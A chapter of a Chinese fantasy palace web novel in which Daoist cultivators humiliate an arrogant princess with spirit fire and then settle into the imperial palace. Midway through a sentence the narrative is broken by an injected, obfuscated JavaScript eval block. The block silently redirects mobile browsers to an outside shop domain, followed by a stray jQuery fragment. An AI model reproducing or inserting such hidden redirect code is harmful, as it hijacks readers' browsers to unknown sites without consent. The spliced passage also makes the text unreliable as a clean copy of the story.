李溪儿高傲地仰起下巴,眼神轻蔑地掠过他们每个人,“你们就是三皇叔传信让父皇抛弃本公主都要去见的刁民?”
此言一出,众人皆是紧紧蹙起眉。
郑公公眼见不好,趁他们还没开口,立即接过话缓解这紧张氛围,也试图让这位骄纵的公主不要出言不逊。
“公主殿下,几位道长是容王殿下特意请回来给陛下看病的,还特命我等好好接待。”
他刻意降低声音道:“袁公公还因为此事触怒龙颜,被陛下打入了天牢,望公主殿下说话前要三思啊。”
天牢是什么地方,她身为大周朝公主不可能不知道,那是人界任何一个人都不想去的地狱。
更遑论这袁公公是跟随父皇最久的人,可如今父皇居然因为这几个人,不顾及一点情分,把人罚进了天牢里,要是她……
李溪儿眉头一皱,“此话当真?”
郑公公面色凝重点头,“小的哪里有这么多条命,敢骗公主殿下啊。”
李溪儿哼了一声,“谅你也不敢!”
郑公公头更低了,“是,小的不敢。”
李溪儿变了个脸色,但也掩饰不住她骨子里的跋扈无理,“喂,方才是本公主没了解情况,不知道你们是父皇和三皇叔看重的人,本公主给你们个道歉,此事就这么过去吧。”
他们面色沉下去,她和郑公公刻意低声细语说的话,根本瞒不住他们。
乌遥眼底划过一层寒意,白扬最先忍不住,不屑道:“道歉?谁稀罕?上一次敢在小爷面前这么嚣张无礼的人,死得连骨头渣都不剩,你这个二——公主,要不要试试?”
李溪儿自诩是整个大周朝最尊贵的公主,无人胆敢用言语侮辱她!
可他不仅敢,还刻意强调她是二公主!这宫中谁人不知她最讨厌别人说她是二公主了!
她气愤道:“你说什么!”
徐广庭看着众人讽笑道:“原来还是耳聋的啊。”
江雪净说话语气也冷下来,“说话这么难听,刚好我这还有瓶哑药,正愁浪费了,给你吃刚好,清静。”
李溪儿要气死了,“你一个个居然敢诋毁本公主,“来人,把他们全部给我关进天牢里……”
郑公公要被她愚蠢行径吓死了,赶忙阻止道:“公主殿下慎言啊!”
他朝旁边的那几个宫女和公公使眼色,“还愣着干什么,公主殿下生病了,快送回淑景宫啊!不然丽妃娘娘知道了,定要你们吃不了兜着走!”
这群公公宫女闻风而动,匆忙走上前劝她,“公主,我们快走吧……”
李溪儿怒火中烧,压根不听,想破口大骂,却被那几个宫女捂住了嘴,“呜——”
郑公公赶忙带着他们离开,“几位道长,我们快走吧……”
乌遥漫不经心地笑了笑,眼里却没什么暖意,“急什么?”
太监暗道一声不好,只见她转过身,指尖一转,用灵力变出一簇如鲜血般颜色的火焰,走到李溪儿面前。
乌遥瞥了李溪儿身边的公公宫女,只是一个眼神就莫名地让他们背后生寒,下意识松开李溪儿,躲到一边。
李溪儿瞪着她,“你想干什么……”
话还没说完,头顶上传来一片炙热,带着烧焦的味道,旁边的公公宫女齐齐震惊得捂住嘴,眼中倒映着一抹红光。
那簇火在李溪儿头顶上跳跃着吞噬掉发髻上的金步摇,余火还烧掉她十几根头发,从她眼前飘飘落下。
李溪儿彻底僵住身子,巨大的恐慌笼罩住她,甚至不敢伸手去碰,到了此刻她才意识到对面的人不是她能惹得起的。
“这次是烧头发,下次……”
乌遥笑意彻底消失,如魔鬼般的话语传进她耳朵里,魂魄都吓散了。
“就这张脸吧。”
李溪儿面色惨白地看着人一个接着一个地离开,直到落在他们后面的人与她擦肩而过。
那人带着熟稔轻蔑的眼神从她身上掠过,让她忘记方才乌遥对她做了什么。
李溪儿不敢置信地盯着那道纤细背影,甚至伸手揉了揉眼睛,才确认自己没看错。
她手打颤,指着走远的人问:“她……她是谁?”
身边那几个公公宫女跟着李溪儿手指的方向看去,根本没人。
几人对上眼,神情意思不言而喻,这位二公主真生病了!
……
郑公公和张公公连忙带着他们离开,生怕再弄出什么祸端来,惹这几位道长不高兴,自己也被那位打入天牢之中。
一想到暗无天日的天牢,他们就忍不住像袁公公一样抖了抖身子。
宋其逍牵上乌遥的手,动用灵力清洁干净她的手。
对上她有些困惑的眼睛,他才解释道:“脏了。”
旁边的白扬十分不客气地笑出声,“毛病!”
乌遥偏头无声扯了扯唇。
郑公公与张公公带着他们在一个岔口分开,分别前往不同的地方。
分开后,永宁宫很快就到了。
要不是遇上李溪儿,她们或许还能再快一点。
郑公公在永宁宫门口朝乌遥他们示意,“三位道长,这便是永宁宫。”
眼前的宫殿与旁的宫殿没什么不一样,但进去才发现里面冷清得很,花草荒芜,处处透着老旧,几乎什么都没有,似是许久无人住过。
主殿左右还有间偏殿,正好她们三人一人一间。
千万枝打量完,脸色平常,乌遥和江雪净却露出几分复杂之色。
似是知道她们不喜伺候,只派了两个宫女过来。
两人十分恭敬,“三位道长好,整个永宁宫都已经打扫好,可因常年无人居住,许多地方未曾修缮,修补需要时间,但陛下吩咐过,主殿三位道长也能住,可要奴婢伺候各位先休息?”
她们根本不累,在宣政殿不过是乌遥随口找的说辞罢了。
千万枝随便找了一个理由,“我们有事自然会找你们,都先下去吧。”
“是。”
等人走了之后,她们看向乌遥,千万枝问道:“你是如何打算的?”
乌遥耸了耸肩,对左边的偏殿仰了仰下巴,“没什么打算,先睡一觉再说,我睡这,你们随意。”
她都这般说了,看来是真没打算。
江雪净看着千万枝,体贴道:“我睡偏殿,主殿留给你和阿谁。”
千万枝点了点头,没有推辞,随后三人各自进殿,但无人休息。
乌遥翻出那本《万景符咒录》放在地上,自己席地而坐,指尖在空中用灵力勾勒出一条条金线,灵气在周身浮动。
不知过了多久,那些金线最后被她合成一道红色符纹,四周的灵气飞速涌进。
这是万景符咒录最后一式,符咒融合了前四式,符纹复杂,一步画差即刻符废,要求极高,甚至所需的灵力都是前四式的五倍。
乌遥不太满意,指尖一弹,有瑕疵的红色符纹被她打散,失去目标的灵气只能被迫绕着那些还未消散的符纹转悠。
一等符咒消失,就一头猛扎进她体内的灵府之中,强势挤开其他灵气,在她的灵府留下来。
乌遥十分淡定,任由那些灵气涌入,又翻了几页,盯着《万景符咒录》看,另一只手不间断地继续画。
对面偏殿的江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673123|207407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雪净坐在桌案前,一手翻着医书,另一手操控炼丹炉炼丹,药香充斥整个偏殿。
算准时间打开药炉查看,一颗颗洁白无瑕的白色灵丹就躺在里面。
自从知道宋其逍有心魔之后,乌遥便找过她一次,拜托她研制炼虚境适用的抚心丹。
给谁的不言而喻,想到这她的嘴角往上扬了扬。
对于两人的从容,还站在主殿前的千万枝有些犹豫,最后还是阿谁一头撞开殿门,里面熟悉的家具一一映入眼帘。
阿谁先她一步进去,轻车熟路地找到一个大小正合适的窝躺了进去。
千万枝叹了口气才抬脚走进去,大致扫了一圈之后,在那张小小桌案坐下,用了好一会儿时间平复心中复杂情绪,却失败了。
她想了想,干脆拿出一本柳一树方才在人界市集上买的书,津津有味地看起来才抛开那些无用的思绪。
另一边,宋其逍他们被张公公带进储宫安置之后,一同去了演武场。
宋其逍站在中间,一招招化解徐广庭和柳一树的攻势,打到酣畅淋漓两人才放弃。
白扬全程躺在旁边的木凳上,拿了一本书放在脸上,晒着太阳睡觉。
“呜呜呜呜呜。”
李溪儿趴在一个衣着宫装,上了年纪也不掩年轻风华的妇人怀里哭诉道:“母妃!父皇居然罚我半月不能出门,还说再有下次就送我去骊山行宫一年不准回来!”
丽妃拍着女儿的背,心不在焉地安慰道:“别哭了,你父皇定是与你说笑的。”
李溪儿从她怀里坐起来,“说笑?父皇从小到大都未责罚过我一句,这次居然因为那几个刁民罚我!”
丽妃自然是知晓其中利害的。
当今陛下子嗣单薄,除了纯德皇后所出的太子李明宸,大公主李明月外,便是她所出的二公主李溪儿。
但纯德皇后十七年前就薨世了。
即便底下大臣隔三差五上奏跪求永德帝立新后,后位也至今悬空。
这后宫之中只有她与淼妃位分最高,只是与之相比,她母家出身不高,她只是一个小官之女。
当年入宫也是阴差阳错,但好在她容貌尚可,早些年得过盛宠,这才晚纯德皇后半年生下一个公主。
但也是那一年,纯德皇后忽然薨世了,从那以后永德帝几乎不入后宫,直到二十几天前。
在永德帝未入后宫那几年,能得他几眼关爱的,除了太子李明宸,便是她的溪儿。
身为二公主生母,自然也是受到了几分陛下的关注,成为这十几年唯一一个盛宠不衰的嫔妃,一路从美人晋升到如今的四妃之一。
可自从永德帝二十日前重入后宫后,却天天只往淼妃的流霜宫跑,连她都快大半个月未曾见过永德帝了。
在以前这是从未发生过的事,就连纯德皇后还在世时也未曾有过。
结果她还未来得及想好对策,李溪儿还因为得罪那几个刁民,被一向溺爱自己女儿的永德帝罚了半个月禁足。
虽然她一开始也以为是容王随意在外面找回来的人,并没有放在心上,可现在,她不得不重视起来。
眼下听到李溪儿不仅不能审时度势,甚至越发骄纵,第一次觉得自己太惯着她了。
丽妃沉脸告诫她:“溪儿,不得放肆,能得你父皇如此对待,那几个刁民肯定不简单,你不好好想想对策,还在这胡言乱语,我看是你父皇罚得太轻了。”
李溪儿被骂懵了,没想到连丽妃也会如此说她,当即就怒道:“母妃,怎么连你也骂我……”
她还未来得及控诉完,一个宫女行色匆匆跑进来。
“娘娘!”